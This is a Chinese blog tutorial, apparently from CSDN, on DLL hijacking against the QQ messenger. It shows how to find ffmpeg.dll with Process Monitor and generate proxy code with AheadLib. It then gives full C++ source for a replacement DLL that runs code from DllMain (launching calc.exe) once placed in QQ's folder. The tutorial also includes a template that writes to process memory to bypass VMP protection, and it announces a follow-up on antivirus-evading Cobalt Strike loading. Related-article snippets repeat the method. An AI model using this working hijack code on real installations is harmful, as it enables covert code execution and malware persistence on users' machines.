【简单dll劫持-1】

最新推荐文章于 2025-05-01 14:46:28 发布
原创 最新推荐文章于 2025-05-01 14:46:28 发布 · 2.7k 阅读 · 5 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#网络安全

简单dll劫持-1 劫持QQ

首先，查找qq加载所需的dll文件，Proccess Monitor设置过滤器查找QQ运行时所加载的dll
在这里插入图片描述在这里插入图片描述
应用这两条规则，然后运行QQ在这里插入图片描述
选择比较靠前的dll
在这里插入图片描述

开始写劫持dll代码

找到ffmpeg.dll,放入AheadLib中查看其原始代码
在这里插入图片描述
在这里插入图片描述

查看生成的.cpp文件

在这里插入图片描述

代码如下

//
// created by AheadLib
// github:https://github.com/strivexjun/AheadLib-x86-x64
//

#include <windows.h>
#include <Shlwapi.h>

#pragma comment( lib, "Shlwapi.lib")

#pragma comment(linker, "/EXPORT:av_buffer_create=AheadLib_av_buffer_create,@1")
#pragma comment(linker, "/EXPORT:av_buffer_get_opaque=AheadLib_av_buffer_get_opaque,@2")
#pragma comment(linker, "/EXPORT:av_dict_count=AheadLib_av_dict_count,@3")
#pragma comment(linker, "/EXPORT:av_dict_free=AheadLib_av_dict_free,@4")
#pragma comment(linker, "/EXPORT:av_dict_get=AheadLib_av_dict_get,@5")
#pragma comment(linker, "/EXPORT:av_dict_set=AheadLib_av_dict_set,@6")
#pragma comment(linker, "/EXPORT:av_force_cpu_flags=AheadLib_av_force_cpu_flags,@7")
#pragma comment(linker, "/EXPORT:av_frame_alloc=AheadLib_av_frame_alloc,@8")
#pragma comment(linker, "/EXPORT:av_frame_clone=AheadLib_av_frame_clone,@9")
#pragma comment(linker, "/EXPORT:av_frame_free=AheadLib_av_frame_free,@10")
#pragma comment(linker, "/EXPORT:av_frame_unref=AheadLib_av_frame_unref,@11")
#pragma comment(linker, "/EXPORT:av_free=AheadLib_av_free,@12")
#pragma comment(linker, "/EXPORT:av_get_bytes_per_sample=AheadLib_av_get_bytes_per_sample,@13")
#pragma comment(linker, "/EXPORT:av_get_cpu_flags=AheadLib_av_get_cpu_flags,@14")
#pragma comment(linker, "/EXPORT:av_image_check_size=AheadLib_av_image_check_size,@15")
#pragma comment(linker, "/EXPORT:av_init_packet=AheadLib_av_init_packet,@16")
#pragma comment(linker, "/EXPORT:av_log_set_level=AheadLib_av_log_set_level,@17")
#pragma comment(linker, "/EXPORT:av_malloc=AheadLib_av_malloc,@18")
#pragma comment(linker, "/EXPORT:av_max_alloc=AheadLib_av_max_alloc,@19")
#pragma comment(linker, "/EXPORT:av_new_packet=AheadLib_av_new_packet,@20")
#pragma comment(linker, "/EXPORT:av_packet_alloc=AheadLib_av_packet_alloc,@21")
#pragma comment(linker, "/EXPORT:av_packet_copy_props=AheadLib_av_packet_copy_props,@22")
#pragma comment(linker, "/EXPORT:av_packet_free=AheadLib_av_packet_free,@23")
#pragma comment(linker, "/EXPORT:av_packet_get_side_data=AheadLib_av_packet_get_side_data,@24")
#pragma comment(linker, "/EXPORT:av_packet_unref=AheadLib_av_packet_unref,@25")
#pragma comment(linker, "/EXPORT:av_read_frame=AheadLib_av_read_frame,@26")
#pragma comment(linker, "/EXPORT:av_rescale_q=AheadLib_av_rescale_q,@27")
#pragma comment(linker, "/EXPORT:av_samples_get_buffer_size=AheadLib_av_samples_get_buffer_size,@28")
#pragma comment(linker, "/EXPORT:av_seek_frame=AheadLib_av_seek_frame,@29")
#pragma comment(linker, "/EXPORT:av_strdup=AheadLib_av_strdup,@30")
#pragma comment(linker, "/EXPORT:av_stream_get_first_dts=AheadLib_av_stream_get_first_dts,@31")
#pragma comment(linker, "/EXPORT:av_stream_get_side_data=AheadLib_av_stream_get_side_data,@32")
#pragma comment(linker, "/EXPORT:av_strerror=AheadLib_av_strerror,@33")
#pragma comment(linker, "/EXPORT:avcodec_align_dimensions=AheadLib_avcodec_align_dimensions,@34")
#pragma comment(linker, "/EXPORT:avcodec_alloc_context3=AheadLib_avcodec_alloc_context3,@35")
#pragma comment(linker, "/EXPORT:avcodec_descriptor_get=AheadLib_avcodec_descriptor_get,@36")
#pragma comment(linker, "/EXPORT:avcodec_descriptor_next=AheadLib_avcodec_descriptor_next,@37")
#pragma comment(linker, "/EXPORT:avcodec_find_decoder=AheadLib_avcodec_find_decoder,@38")
#pragma comment(linker, "/EXPORT:avcodec_flush_buffers=AheadLib_avcodec_flush_buffers,@39")
#pragma comment(linker, "/EXPORT:avcodec_free_context=AheadLib_avcodec_free_context,@40")
#pragma comment(linker, "/EXPORT:avcodec_get_name=AheadLib_avcodec_get_name,@41")
#pragma comment(linker, "/EXPORT:avcodec_open2=AheadLib_avcodec_open2,@42")
#pragma comment(linker, "/EXPORT:avcodec_parameters_to_context=AheadLib_avcodec_parameters_to_context,@43")
#pragma comment(linker, "/EXPORT:avcodec_receive_frame=AheadLib_avcodec_receive_frame,@44")
#pragma comment(linker, "/EXPORT:avcodec_send_packet=AheadLib_avcodec_send_packet,@45")
#pragma comment(linker, "/EXPORT:avformat_alloc_context=AheadLib_avformat_alloc_context,@46")
#pragma comment(linker, "/EXPORT:avformat_close_input=AheadLib_avformat_close_input,@47")
#pragma comment(linker, "/EXPORT:avformat_find_stream_info=AheadLib_avformat_find_stream_info,@48")
#pragma comment(linker, "/EXPORT:avformat_free_context=AheadLib_avformat_free_context,@49")
#pragma comment(linker, "/EXPORT:avformat_open_input=AheadLib_avformat_open_input,@50")
#pragma comment(linker, "/EXPORT:avio_alloc_context=AheadLib_avio_alloc_context,@51")
#pragma comment(linker, "/EXPORT:avio_close=AheadLib_avio_close,@52")


extern "C" 
{
PVOID pfnAheadLib_av_buffer_create;
PVOID pfnAheadLib_av_buffer_get_opaque;
PVOID pfnAheadLib_av_dict_count;
PVOID pfnAheadLib_av_dict_free;
PVOID pfnAheadLib_av_dict_get;
PVOID pfnAheadLib_av_dict_set;
PVOID pfnAheadLib_av_force_cpu_flags;
PVOID pfnAheadLib_av_frame_alloc;
PVOID pfnAheadLib_av_frame_clone;
PVOID pfnAheadLib_av_frame_free;
PVOID pfnAheadLib_av_frame_unref;
PVOID pfnAheadLib_av_free;
PVOID pfnAheadLib_av_get_bytes_per_sample;
PVOID pfnAheadLib_av_get_cpu_flags;
PVOID pfnAheadLib_av_image_check_size;
PVOID pfnAheadLib_av_init_packet;
PVOID pfnAheadLib_av_log_set_level;
PVOID pfnAheadLib_av_malloc;
PVOID pfnAheadLib_av_max_alloc;
PVOID pfnAheadLib_av_new_packet;
PVOID pfnAheadLib_av_packet_alloc;
PVOID pfnAheadLib_av_packet_copy_props;
PVOID pfnAheadLib_av_packet_free;
PVOID pfnAheadLib_av_packet_get_side_data;
PVOID pfnAheadLib_av_packet_unref;
PVOID pfnAheadLib_av_read_frame;
PVOID pfnAheadLib_av_rescale_q;
PVOID pfnAheadLib_av_samples_get_buffer_size;
PVOID pfnAheadLib_av_seek_frame;
PVOID pfnAheadLib_av_strdup;
PVOID pfnAheadLib_av_stream_get_first_dts;
PVOID pfnAheadLib_av_stream_get_side_data;
PVOID pfnAheadLib_av_strerror;
PVOID pfnAheadLib_avcodec_align_dimensions;
PVOID pfnAheadLib_avcodec_alloc_context3;
PVOID pfnAheadLib_avcodec_descriptor_get;
PVOID pfnAheadLib_avcodec_descriptor_next;
PVOID pfnAheadLib_avcodec_find_decoder;
PVOID pfnAheadLib_avcodec_flush_buffers;
PVOID pfnAheadLib_avcodec_free_context;
PVOID pfnAheadLib_avcodec_get_name;
PVOID pfnAheadLib_avcodec_open2;
PVOID pfnAheadLib_avcodec_parameters_to_context;
PVOID pfnAheadLib_avcodec_receive_frame;
PVOID pfnAheadLib_avcodec_send_packet;
PVOID pfnAheadLib_avformat_alloc_context;
PVOID pfnAheadLib_avformat_close_input;
PVOID pfnAheadLib_avformat_find_stream_info;
PVOID pfnAheadLib_avformat_free_context;
PVOID pfnAheadLib_avformat_open_input;
PVOID pfnAheadLib_avio_alloc_context;
PVOID pfnAheadLib_avio_close;
}


static
HMODULE g_OldModule = NULL;

VOID WINAPI Free()
{
	if (g_OldModule)
	{
		FreeLibrary(g_OldModule);
	}
}


BOOL WINAPI Load()
{
	TCHAR tzPath[MAX_PATH];
	TCHAR tzTemp[MAX_PATH * 2];

	//
	// �����Ƿ��ϵͳĿ¼��ǰĿ¼����ԭʼDLL
	//
	//GetModuleFileName(NULL,tzPath,MAX_PATH); //��ȡ��Ŀ¼�µ�
	//PathRemoveFileSpec(tzPath);

	GetSystemDirectory(tzPath, MAX_PATH); //Ĭ�ϻ�ȡϵͳĿ¼��

	lstrcat(tzPath, TEXT("\\ffmpeg.dll"));

	g_OldModule = LoadLibrary(tzPath);
	if (g_OldModule == NULL)
	{
		wsprintf(tzTemp, TEXT("�޷��ҵ�ģ�� %s,�����޷���������"), tzPath);
		MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
	}

	return (g_OldModule != NULL);

}


FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
	FARPROC fpAddress;
	CHAR szProcName[64];
	TCHAR tzTemp[MAX_PATH];

	fpAddress = GetProcAddress(g_OldModule, pszProcName);
	if (fpAddress == NULL)
	{
		if (HIWORD(pszProcName) == 0)
		{
			wsprintfA(szProcName, "#%d", pszProcName);
			pszProcName = szProcName;
		}

		wsprintf(tzTemp, TEXT("�޷��ҵ����� %hs,�����޷���������"), pszProcName);
		MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
		ExitProcess(-2);
	}
	return fpAddress;
}

BOOL WINAPI Init()
{
	pfnAheadLib_av_buffer_create = GetAddress("av_buffer_create");
	pfnAheadLib_av_buffer_get_opaque = GetAddress("av_buffer_get_opaque");
	pfnAheadLib_av_dict_count = GetAddress("av_dict_count");
	pfnAheadLib_av_dict_free = GetAddress("av_dict_free");
	pfnAheadLib_av_dict_get = GetAddress("av_dict_get");
	pfnAheadLib_av_dict_set = GetAddress("av_dict_set");
	pfnAheadLib_av_force_cpu_flags = GetAddress("av_force_cpu_flags");
	pfnAheadLib_av_frame_alloc = GetAddress("av_frame_alloc");
	pfnAheadLib_av_frame_clone = GetAddress("av_frame_clone");
	pfnAheadLib_av_frame_free = GetAddress("av_frame_free");
	pfnAheadLib_av_frame_unref = GetAddress("av_frame_unref");
	pfnAheadLib_av_free = GetAddress("av_free");
	pfnAheadLib_av_get_bytes_per_sample = GetAddress("av_get_bytes_per_sample");
	pfnAheadLib_av_get_cpu_flags = GetAddress("av_get_cpu_flags");
	pfnAheadLib_av_image_check_size = GetAddress("av_image_check_size");
	pfnAheadLib_av_init_packet = GetAddress("av_init_packet");
	pfnAheadLib_av_log_set_level = GetAddress("av_log_set_level");
	pfnAheadLib_av_malloc = GetAddress("av_malloc");
	pfnAheadLib_av_max_alloc = GetAddress("av_max_alloc");
	pfnAheadLib_av_new_packet = GetAddress("av_new_packet");
	pfnAheadLib_av_packet_alloc = GetAddress("av_packet_alloc");
	pfnAheadLib_av_packet_copy_props = GetAddress("av_packet_copy_props");
	pfnAheadLib_av_packet_free = GetAddress("av_packet_free");
	pfnAheadLib_av_packet_get_side_data = GetAddress("av_packet_get_side_data");
	pfnAheadLib_av_packet_unref = GetAddress("av_packet_unref");
	pfnAheadLib_av_read_frame = GetAddress("av_read_frame");
	pfnAheadLib_av_rescale_q = GetAddress("av_rescale_q");
	pfnAheadLib_av_samples_get_buffer_size = GetAddress("av_samples_get_buffer_size");
	pfnAheadLib_av_seek_frame = GetAddress("av_seek_frame");
	pfnAheadLib_av_strdup = GetAddress("av_strdup");
	pfnAheadLib_av_stream_get_first_dts = GetAddress("av_stream_get_first_dts");
	pfnAheadLib_av_stream_get_side_data = GetAddress("av_stream_get_side_data");
	pfnAheadLib_av_strerror = GetAddress("av_strerror");
	pfnAheadLib_avcodec_align_dimensions = GetAddress("avcodec_align_dimensions");
	pfnAheadLib_avcodec_alloc_context3 = GetAddress("avcodec_alloc_context3");
	pfnAheadLib_avcodec_descriptor_get = GetAddress("avcodec_descriptor_get");
	pfnAheadLib_avcodec_descriptor_next = GetAddress("avcodec_descriptor_next");
	pfnAheadLib_avcodec_find_decoder = GetAddress("avcodec_find_decoder");
	pfnAheadLib_avcodec_flush_buffers = GetAddress("avcodec_flush_buffers");
	pfnAheadLib_avcodec_free_context = GetAddress("avcodec_free_context");
	pfnAheadLib_avcodec_get_name = GetAddress("avcodec_get_name");
	pfnAheadLib_avcodec_open2 = GetAddress("avcodec_open2");
	pfnAheadLib_avcodec_parameters_to_context = GetAddress("avcodec_parameters_to_context");
	pfnAheadLib_avcodec_receive_frame = GetAddress("avcodec_receive_frame");
	pfnAheadLib_avcodec_send_packet = GetAddress("avcodec_send_packet");
	pfnAheadLib_avformat_alloc_context = GetAddress("avformat_alloc_context");
	pfnAheadLib_avformat_close_input = GetAddress("avformat_close_input");
	pfnAheadLib_avformat_find_stream_info = GetAddress("avformat_find_stream_info");
	pfnAheadLib_avformat_free_context = GetAddress("avformat_free_context");
	pfnAheadLib_avformat_open_input = GetAddress("avformat_open_input");
	pfnAheadLib_avio_alloc_context = GetAddress("avio_alloc_context");
	pfnAheadLib_avio_close = GetAddress("avio_close");
	return TRUE;
}	

DWORD WINAPI ThreadProc(LPVOID lpThreadParameter)
{
	HANDLE hProcess;

	PVOID addr1 = reinterpret_cast<PVOID>(0x00401000);
	BYTE data1[] = { 0x90, 0x90, 0x90, 0x90 };

	//
	// �ƹ�VMP3.x ���ڴ汣��
	//
	hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, GetCurrentProcessId());
	if (hProcess)
	{
		WriteProcessMemory(hProcess, addr1, data1, sizeof(data1), NULL);

		CloseHandle(hProcess);
	}

	return 0;
}


BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
	if (dwReason == DLL_PROCESS_ATTACH)
	{
		DisableThreadLibraryCalls(hModule);

		if (Load() && Init())
		{
			TCHAR szAppName[MAX_PATH] = TEXT("MyApp.exe");//���޸�����������
			TCHAR szCurName[MAX_PATH];

			GetModuleFileName(NULL, szCurName, MAX_PATH);
			PathStripPath(szCurName);

			//�Ƿ��ж�����������
			if (StrCmpI(szCurName, szAppName) == 0)
			{
				//���������̻߳�����������
				HANDLE hThread = CreateThread(NULL, NULL, ThreadProc, NULL, NULL, NULL);
				if (hThread)
				{
					CloseHandle(hThread);
				}
			}
		}
	}
	else if (dwReason == DLL_PROCESS_DETACH)
	{
		Free();
	}

	return TRUE;
}

根据原始dll代码编写劫持代码如下

#include <windows.h>
#include <Shlwapi.h>
#include "pch.h"

// Placeholder implementations for all functions

extern "C" __declspec(dllexport) int av_buffer_create() { return 0; }
extern "C" __declspec(dllexport) int av_buffer_get_opaque() { return 0; }
extern "C" __declspec(dllexport) int av_dict_count() { return 0; }
extern "C" __declspec(dllexport) int av_dict_free() { return 0; }
extern "C" __declspec(dllexport) int av_dict_get() { return 0; }
extern "C" __declspec(dllexport) int av_dict_set() { return 0; }
extern "C" __declspec(dllexport) int av_force_cpu_flags() { return 0; }
extern "C" __declspec(dllexport) int av_frame_alloc() { return 0; }
extern "C" __declspec(dllexport) int av_frame_clone() { return 0; }
extern "C" __declspec(dllexport) int av_frame_free() { return 0; }
extern "C" __declspec(dllexport) int av_frame_unref() { return 0; }
extern "C" __declspec(dllexport) int av_free() { return 0; }
extern "C" __declspec(dllexport) int av_get_bytes_per_sample() { return 0; }
extern "C" __declspec(dllexport) int av_get_cpu_flags() { return 0; }
extern "C" __declspec(dllexport) int av_image_check_size() { return 0; }
extern "C" __declspec(dllexport) int av_init_packet() { return 0; }
extern "C" __declspec(dllexport) int av_log_set_level() { return 0; }
extern "C" __declspec(dllexport) int av_malloc() { return 0; }
extern "C" __declspec(dllexport) int av_max_alloc() { return 0; }
extern "C" __declspec(dllexport) int av_new_packet() { return 0; }
extern "C" __declspec(dllexport) int av_packet_alloc() { return 0; }
extern "C" __declspec(dllexport) int av_packet_copy_props() { return 0; }
extern "C" __declspec(dllexport) int av_packet_free() { return 0; }
extern "C" __declspec(dllexport) int av_packet_get_side_data() { return 0; }
extern "C" __declspec(dllexport) int av_packet_unref() { return 0; }
extern "C" __declspec(dllexport) int av_read_frame() { return 0; }
extern "C" __declspec(dllexport) int av_rescale_q() { return 0; }
extern "C" __declspec(dllexport) int av_samples_get_buffer_size() { return 0; }
extern "C" __declspec(dllexport) int av_seek_frame() { return 0; }
extern "C" __declspec(dllexport) int av_strdup() { return 0; }
extern "C" __declspec(dllexport) int av_stream_get_first_dts() { return 0; }
extern "C" __declspec(dllexport) int av_stream_get_side_data() { return 0; }
extern "C" __declspec(dllexport) int av_strerror() { return 0; }
extern "C" __declspec(dllexport) int avcodec_align_dimensions() { return 0; }
extern "C" __declspec(dllexport) int avcodec_alloc_context3() { return 0; }
extern "C" __declspec(dllexport) int avcodec_descriptor_get() { return 0; }
extern "C" __declspec(dllexport) int avcodec_descriptor_next() { return 0; }
extern "C" __declspec(dllexport) int avcodec_find_decoder() { return 0; }
extern "C" __declspec(dllexport) int avcodec_flush_buffers() { return 0; }
extern "C" __declspec(dllexport) int avcodec_free_context() { return 0; }
extern "C" __declspec(dllexport) int avcodec_get_name() { return 0; }
extern "C" __declspec(dllexport) int avcodec_open2() { return 0; }
extern "C" __declspec(dllexport) int avcodec_parameters_to_context() { return 0; }
extern "C" __declspec(dllexport) int avcodec_receive_frame() { return 0; }
extern "C" __declspec(dllexport) int avcodec_send_packet() { return 0; }
extern "C" __declspec(dllexport) int avformat_alloc_context() { return 0; }
extern "C" __declspec(dllexport) int avformat_close_input() { return 0; }
extern "C" __declspec(dllexport) int avformat_find_stream_info() { return 0; }
extern "C" __declspec(dllexport) int avformat_free_context() { return 0; }
extern "C" __declspec(dllexport) int avformat_open_input() { return 0; }
extern "C" __declspec(dllexport) int avio_alloc_context() { return 0; }
extern "C" __declspec(dllexport) int avio_close() { return 0; }



BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
	if (dwReason == DLL_PROCESS_ATTACH)
	{
		DisableThreadLibraryCalls(hModule);

		// 创建一个新进程来打开系统计算器
		STARTUPINFO si = { sizeof(si) };
		PROCESS_INFORMATION pi;
		CreateProcess(TEXT("C:\\Windows\\System32\\calc.exe"), NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

		// 关闭进程和线程句柄
		CloseHandle(pi.hProcess);
		CloseHandle(pi.hThread);
	}
	else if (dwReason == DLL_PROCESS_DETACH)
	{
		// 可选的清理代码可以放在这里
	}

	return TRUE;
}

设置为运行计算器在这里插入图片描述

然后再次放入Visual Studio中编译为DLL文件
在这里插入图片描述
将生成的Dll文件名改为ffmpeg.dll,替换QQ目录中的ffmpeg.dll
在这里插入图片描述
在这里插入图片描述
运行QQ时自动弹出计算器，且在运行中只要调用此DLL文件就会弹出计算器。

在这里插入图片描述

下期更新DLL劫持免杀上线CS马

sunminem
关注
DLL劫持
flowwaterdog的博客
04-12 459
DLL劫持 DLL劫持原理 如果在进程尝试加载一个DLL时没有指定DLL的绝对路径，那么Windows会尝试去按照顺序搜索这些特定目录时下查找这个DLL,只要将恶意的DLL放在优先于正常DLL所在的目录，就能够欺骗系统优先加载恶意DLL，来实现"劫持" 原理虽然简单，但是劫持DLL的选取和编写则要有些技巧，不是所有的DLL都可以被劫持的，有些DLL是受系统保护的，譬如user32.dll等，这些是...
DLL劫持C++源代码创建器
03-21
本工具自动创建用于进行DLL劫持的C++源代码。选择你正在运行的应用程序，选择应用程序加载的DLL，本工具为你创建一个用户劫持此DLL的源代码。代码中有详细的指导，按照指导去配置你的VS，马上编译一个用来劫持的DLL。马上下载下来试试吧。如何创建这个工具，请查看软件的帮助。
[源码和文档分享]基于AheadLib工具进行DLL劫持
qq_38474647的博客
12-29 401
背景 或许你听过DLL劫持技术，获取你还没有尝试过DLL劫持技术。DLL劫持技术的原理是： 由于输入表中只包含DLL名而没有它的路径名，因此加载程序必须在磁盘上搜索DLL文件。首先会尝试从当前程序所在的目录加载DLL，如果没找到，则在Windows系统目录中查找，最后是在环境变量中列出的各个目录下查找。利用这个特点，先伪造一个系统同名的DLL，...
易语言-DLL函数查看及一键劫持源码工具
最新发布
gitblog_06739的博客
05-01 406
易语言-DLL函数查看及一键劫持源码工具 【下载地址】易语言-DLL函数查看及一键劫持源码工具 这是一款专为易语言开发者打造的高效工具，具备强大的DLL函数查看和一键劫持源码功能，全面兼容64位DLL文件。通过该工具，开发者可以轻松解析DLL文件中的函数信息，快速进行源码劫持，极大提升调试和逆向工程效率。无论是深入分析D...
[转载]DLL劫持生成器 源码开放（纯WINDOWS SDK）+ 实例分析
weixin_34043301的博客
03-19 2321
 本菜最近学习了什么DLL注入啊，hook啊(r3)的相关技术，觉得很好玩，于是深入发现还有DLL劫持这种东西觉得挺好玩的，加上最近看到各种木马分析报告中都还有发现有利用白加黑的现象。于是自己想找几个来玩玩，但是一个一个手动测试麻烦啊，于是想写个工具来测试目标是否存在DLL劫持漏洞的可能，于是就产生了写个工具的想法，上网一看，原来十年前都有大神写出来了，不过感觉有点麻烦，好多选项不知道干嘛的，加上...
基于aheadlib工具进行DLL劫持
qq_55515447的博客
03-13 735
AheadLib 是一款强大的工具，专门用于生成CPP代码或VS2022工程，适用于DLL劫持场景。该工具支持X86和X64架构，是进行DLL劫持操作的必备工具。功能特点生成CPP代码：AheadLib 能够自动生成适用于DLL劫持的CPP代码，简化开发流程。VS2022工程生成：支持生成VS2022工程文件，方便开发者直接在Visual Studio中进行开发和调试。多架构支持：全面支持X86和X64架构，满足不同平台的需求。使用场景。
dll劫持（一）
u010470511的专栏
03-06 693
工具：    AheadLib,可以直接生成.cpp文件修改入口函数。步骤：    一、PCHunter查看程序加载了哪些dll    二、选取导出函数比较少的dll，作为劫持对象，用AheadLib可生成dll的CPP文件    三、新建dll工程，将二生成的CPP内容复制，并修改入口函数实现自己的代码    四、最后生成记得：常规-目标文件名-改为需要劫持的dll的文件名，将dll放入程序目录...
DLL劫持工具开源-易语言
06-12
1. Very_DLL.dll：这可能是一个示例或测试用的DLL文件，用于演示DLL劫持的效果或者作为被劫持的目标。 2. DLL_Taken.e：这是一个易语言编写的程序，可能包含了实现DLL劫持的代码。"Taken"在这里可能是指“劫持”的...
易语言-DLL劫持工具易语言
06-25
在本压缩包中，"DLL劫持工具易语言" 是一个用易语言编写的示例程序，它展示了如何利用DLL劫持技术来影响或控制程序的运行。 DLL（动态链接库）是Windows操作系统中的一种共享代码库，许多应用程序在运行时会调用...
一种通用DLL劫持技术研究
11-29
以上给出的示例代码展示了如何在一个简单的测试环境中实现上述通用DLL劫持技术。具体来说： - **伪造的DLL**：`mydll.dll`被设计为在`DLL_PROCESS_ATTACH`事件中加载真实的目标DLL（即`mydll.dll.1`）。 - **目标...
易语言32位进程调用64位DLL函数源码-易语言
06-13
1. **内存映射文件**：32位进程无法直接加载64位DLL，因此可能需要将64位DLL映射到32位进程的内存空间，然后通过内存操作间接调用函数。 2. **函数指针**：在易语言中，需要找到方法表示和传递64位函数的地址。这...
DLL劫持源码-易语言
06-12
以一个D3D为例子，表现DLL劫持 DLL劫持原理[url=]编辑[/url] 由于输入表中只包含DLL名而没有它的路径名，因此加载程序必须在磁盘上搜索DLL文件。首先会尝试从当前程序所在的目录加载DLL，如果没找到，则在Windows系统目录中查找，最后是在环境变量中列出的各个目录下查找。利用这个特点，先伪造一个系统同名的DLL，提供同样的输出表，每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的DLL，完成相关功能后，再跳到系统DLL同名函数里执行。这个过程用个形象的词来描述就是系统DLL被劫持（hijack）了。 利用这种方法取得控制权后，可以对主程序进行补丁。此种方法只对除kernel32.dll、ntdll.dll等核心系统库以外的DLL有效，如网络应用程序的ws2_32.dll、游戏程序中的d3d8.dll，还有大部分应用程序都调用的lpk.dll、sxs.dll，这些DLL都可被劫持。 伪造的dll制作好后，放到程序当前目录下，这样当原程序调用原函数时就调用了伪造的dll的同名函数，进入劫持DLL的代码，处理完毕后，再调用原DLL此函数。 这种补丁技术，对加壳保护的软件很有效，选择挂接的函数最好是在壳中没有被调用的，当挂接函数被执行时，相关的代码已被解压，可以直接补丁了。在有些情况下，必须用计数器统计挂接的函数的调用次数来接近OEP。此方法巧妙地绕过了壳的复杂检测，很适合加壳程序的补丁制作。 一些木马或病毒也会利用DLL劫持技术搞破坏，因此当在应用程序目录下发现系统一些DLL文件存在时，如lpk.dll，应引起注意。 首先 运行exe他会把需要的DLL加载进来，加载的目录如无特别的制定的话，现在当前目录找，然后再去系统目录找 我的附件中自带了一个D3D9的绘图程序，是VC写的 调用的是系统的D3D9.DLL（因为目录下没有） 只解压那个exe文件，是不会有文字出现的 如果把其他的DLL一起解压，就会出现下图文字hello D3D hook! 那么我们如何劫持了D3D9.dll呢 d3d9_Ex.dll 这个文件其实就是D3D9.dll了，但是我们改名字了，程序就不认识了 我们先用 把D3D9.DLL的输出表找到，弄到 易语言 里，并且生成D3D9.DLL到目录 这样他调用的就是我们的DLL，但是这样会报错，因为我们的DLL没有内容只是一个壳子 只要我们再把他要调用的函数调用一下不就行了吗 源码中的汇编指令是把函数传递到原来的D3D9。现在的D3D9_Ex里 这样调用就是调用 我们的DLL->原来的DLL，中间就可以加些我们需要的代码了
DLL搜索路径和DLL劫持 演示源代码
11-03
http://blog.youkuaiyun.com/magictong/article/details/6931520 本篇文章使用的代码例子。 ……为什么要把DLL搜索路径（DLL ORDER）和DLL劫持（DLL Hajack）拿到一起讲呢？呵呵，其实没啥深意，仅仅是二者有因果关系而已。可以讲正是因为Windows系统下面DLL的搜索路径存在的漏洞才有了后来的一段时间的DLL劫持大肆流行。 最近（其实不是最近，哈，是以前分析过，断断续续的……）简单分析了一个DLL劫持下载者的行为，感觉有必要写点东西说明一下。其实DLL劫持是比较好预防的，从编程规范上我们可以进行规避（后面会专门讲到），从实时防护的角度来讲我们也可以想出一些办法进行拦截。新的DLL劫持者基本都是通过当前路径来入侵，一些老的DLL劫持者一般都是通过exe的安装目录来入侵的，为什么会这样，后面还会讲到。 ……
DLL劫持模拟
07-12
用一个简单的例子说明DLL劫持的原理，其中包括DLL，源文件，编译文件，等
DLL劫持生成器.exe
05-21
一键生成DLL文件函数。
DLL劫持代码生成.zip
09-24
DLL劫持代码生成.zip 用于生产劫持dll的xxx.cpp代码
dll 源码_偷偷学习DLL劫持
weixin_39683526的博客
11-29 1739
文章主要是用来记录学习觉得low啊简单啊的话也不许笑话不然嘴给你们撕烂嘤嘤嘤Q达不溜Q首先是dll劫持的原理ღゝ◡╹)ノ♡就是攻击者能够利用Windows加载DLL的规则将需要劫持程序目录下的合法DLL替换成恶意DLL1.使用DLL_Hijacker.py来生成CPP源码(要注意路径要使用dll文件所在的路径哦)：DLL_Hijacker.py "D:\Program Files(x8...
[DLL劫持] 1 DLL劫持之DLL基础（1）
智者千虑 必有一失
06-29 3075
该系列文章是依据本人平时对动态链接库的学习，归纳总结，所做的学习笔记。如有错误或待改善之处，请留下您宝贵的意见或建议。   最近在研究逆向工程的相关知识，主要用到的是C++逆向，工具有IDA和OLLYDBG等，学了有一段时间了，一直苦于总结能力不够，不知道逆向的东西该怎么总结，所以一直都没有总结之。这其中有用到DLL劫持技术的，觉得这个易于总结，所以先写几篇文章总结一下DLL劫持的技术吧。刚入
c语言劫持dll写法,[原创]DLL劫持生成器 源码开放（纯WINDOWS SDK）+ 实例分析
weixin_35856883的博客
05-21 1760
本菜最近学习了什么DLL注入啊，hook啊(r3)的相关技术，觉得很好玩，于是深入发现还有DLL劫持这种东西觉得挺好玩的，加上最近看到各种木马分析报告中都还有发现有利用白加黑的现象。于是自己想找几个来玩玩，但是一个一个手动测试麻烦啊，于是想写个工具来测试目标是否存在DLL劫持漏洞的可能，于是就产生了写个工具的想法，上网一看，原来十年前都有大神写出来了，不过感觉有点麻烦，好多选项不知道干嘛的，加上本...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值